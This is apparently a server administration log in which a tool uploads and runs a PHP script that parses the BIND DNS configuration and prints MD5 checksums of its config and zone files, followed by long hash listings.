MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 20:54:14: Establishing a connection
2026-02-01 20:54:14: 

PUT: /tmp/pkp867663

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 20:54:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp867663; rm /tmp/pkp867663'

2026-02-01 20:54:15: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 20:55:05: Establishing a connection
2026-02-01 20:55:05: Establishing a connection
2026-02-01 20:55:05: 

PUT: /tmp/pkp782440

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 20:55:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp782440; rm /tmp/pkp782440'

2026-02-01 20:55:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
